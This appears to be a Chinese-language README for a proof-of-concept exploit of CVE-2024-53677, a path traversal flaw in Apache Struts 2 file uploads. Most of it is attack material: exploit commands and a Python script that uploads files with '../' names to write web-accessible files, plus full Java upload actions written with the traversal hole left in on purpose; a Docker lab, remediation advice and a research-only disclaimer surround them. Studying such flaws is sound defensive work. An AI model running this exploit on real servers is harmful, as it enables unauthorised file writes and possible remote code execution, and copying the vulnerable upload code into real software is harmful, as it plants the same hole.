Apache Struts CVE-2024-53677 漏洞利用与安全分析
项目描述
这是一个用于安全研究和教育目的的概念验证(PoC)项目,针对 CVE-2024-53677 漏洞——Apache Struts 2 框架中的一个严重文件上传逻辑缺陷。该漏洞影响 Apache Struts 从 2.0.0 到 6.4.0 之前的所有版本。攻击者可以利用不安全的文件上传参数处理机制,通过路径遍历(Path Traversal)技术上传恶意文件,在特定条件下可实现远程代码执行(RCE)。
功能特性
- 漏洞利用 PoC:提供完整的 Python 攻击脚本,演示如何利用路径遍历漏洞上传恶意文件
- Docker 环境复现:包含一键部署的 Docker 配置文件,快速搭建存在漏洞的 Struts2 测试环境
- 漏洞代码示例:展示存在漏洞的单文件和多文件上传 Action 实现,便于代码审计学习
- 自动化攻击流程:支持自定义上传文件内容和目标路径,灵活测试不同场景
- 安全预警:明确标识受影响的版本范围,提供官方修复建议(升级至 6.4.0 并使用新文件上传机制)
安装指南
系统要求
- Python 3.6+
- Docker 和 Docker Compose(用于本地环境复现)
- 支持的操作系统:Linux / macOS / Windows(WSL)
克隆项目
git clone https://github.com/EQSTLab/CVE-2024-53677.git
cd CVE-2024-53677
安装 Python 依赖
pip install -r requirements.txt
Docker 漏洞环境搭建(可选)
cd docker
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
环境启动后,Struts2 应用将运行在 http://localhost:8080。
使用说明
基础用法
Python 利用脚本 CVE-2024-53677.py 支持以下命令格式:
# 上传默认文件
python CVE-2024-53677.py -u <目标URL> -p <上传文件路径(支持路径遍历)>
# 上传指定文件
python CVE-2024-53677.py -u <目标URL> -p <上传文件路径> -f <本地文件路径>
攻击示例
# 示例1:上传 test.jsp 到上级目录(路径遍历)
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp
# 示例2:上传自定义内容文件
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp -f ./test.txt
成功执行后,恶意文件将被写入目标服务器的 web 可访问目录,可能实现远程代码执行。
漏洞代码分析
项目中包含存在漏洞的 Struts2 Action 实现:
单文件上传(UploadAction.java):
public String doUpload() {
String uploadDir = "webapps/ROOT/uploads";
File destFile = new File(uploadDirectory, uploadFileName);
// 直接使用用户提供的 uploadFileName,未做任何路径检查
FileOutputStream outputStream = new FileOutputStream(destFile);
}
多文件上传(UploadsAction.java):
public String doUpload() {
for (int i = 0; i < uploadFileName.size(); i++) {
File destFile = new File(uploadDirectory, uploadFileName.get(i));
// 同样存在路径遍历风险,uploadFileName 可包含 ../ 序列
FileOutputStream outputStream = new FileOutputStream(destFile);
}
}
漏洞根本原因:uploadFileName 参数未经过滤或规范化,直接用于构造文件保存路径,允许攻击者通过 ../ 序列跳出目标目录。
核心代码
漏洞利用 Python 脚本核心逻辑
# CVE-2024-53677.py 核心利用代码片段
import requests
import os
def exploit(upload_url, target_path, local_file=None):
"""
利用路径遍历上传恶意文件
:param upload_url: 目标上传接口 URL
:param target_path: 目标服务器文件路径(支持 ../ 遍历)
:param local_file: 本地要上传的文件路径
"""
# 构造 multipart/form-data 请求
files = {
'upload': (target_path, open(local_file, 'rb') if local_file else 'malicious content', 'text/plain')
}
# 发送利用请求
response = requests.post(upload_url, files=files)
if response.status_code == 200:
print(f"[+] 文件已尝试上传至: {target_path}")
print(f"[+] 请检查目标服务器是否可访问: {target_path}")
else:
print(f"[-] 上传失败,状态码: {response.status_code}")
存在漏洞的 Struts2 Action 完整代码
UploadAction.java(单文件上传):
package com.struts2;
import com.opensymphony.xwork2.ActionSupport;
import java.io.*;
public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
private String uploadContentType;
private String uploadFileName;
// Getters and Setters 省略...
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
String uploadDir = "webapps/ROOT/uploads";
File uploadDirectory = new File(uploadDir);
if (!uploadDirectory.exists()) {
uploadDirectory.mkdir();
}
// 漏洞点:直接拼接用户输入的文件名,未做路径检查
File destFile = new File(uploadDirectory, uploadFileName);
FileInputStream inputStream = new FileInputStream(upload);
FileOutputStream outputStream = new FileOutputStream(destFile);
byte[] buffer = new byte[1024];
int length;
while ((length = inputStream.read(buffer)) > 0) {
outputStream.write(buffer, 0, length);
}
inputStream.close();
outputStream.close();
return SUCCESS;
} catch (IOException e) {
addActionError("File upload failed: " + e.getMessage());
return ERROR;
}
} else {
addActionError("No file uploaded.");
return ERROR;
}
}
}
UploadsAction.java(多文件上传):
package com.struts2;
import com.opensymphony.xwork2.ActionSupport;
import java.io.*;
import java.util.ArrayList;
import java.util.List;
public class UploadsAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private List<File> upload;
private List<String> uploadContentType;
private List<String> uploadFileName;
private List<String> uploadedFileNames = new ArrayList<String>();
// Getters and Setters 省略...
public String doUpload() {
for (int i = 0; i < uploadFileName.size(); i++) {
try {
String uploadDir = "webapps/ROOT/uploads";
File uploadDirectory = new File(uploadDir);
if (!uploadDirectory.exists()) {
uploadDirectory.mkdir();
}
// 漏洞点:循环中同样直接使用用户提供的文件名,每个都可能包含路径遍历序列
File destFile = new File(uploadDirectory, uploadFileName.get(i));
FileInputStream inputStream = new FileInputStream(upload.get(i));
FileOutputStream outputStream = new FileOutputStream(destFile);
byte[] buffer = new byte[1024];
int length;
while ((length = inputStream.read(buffer)) > 0) {
outputStream.write(buffer, 0, length);
}
inputStream.close();
outputStream.close();
uploadedFileNames.add(uploadFileName.get(i));
} catch (IOException e) {
addActionError("File upload failed: " + e.getMessage());
return ERROR;
}
}
return SUCCESS;
}
}
安全建议
- 升级版本:将 Apache Struts 升级至 6.4.0 或更高版本
- 迁移文件上传机制:使用官方推荐的新文件上传逻辑(参考 Struts 文件上传文档)
- 代码审计:检查现有应用中是否使用
FileuploadInterceptor,若未使用则应用是安全的 - 输入验证:在生产代码中务必对
uploadFileName进行路径规范化(如使用FilenameUtils.getName())并拒绝包含..、/、\等危险字符的文件名
参考链接
免责声明:本项目仅用于安全研究和教育目的,帮助安全人员和开发者理解和防御 CVE-2024-53677 漏洞。请勿在未授权系统上使用,使用者需自行承担相关法律责任。 6HFtX5dABrKlqXeO5PUv/0GnB+B7W49zBoBiv4CQM0E=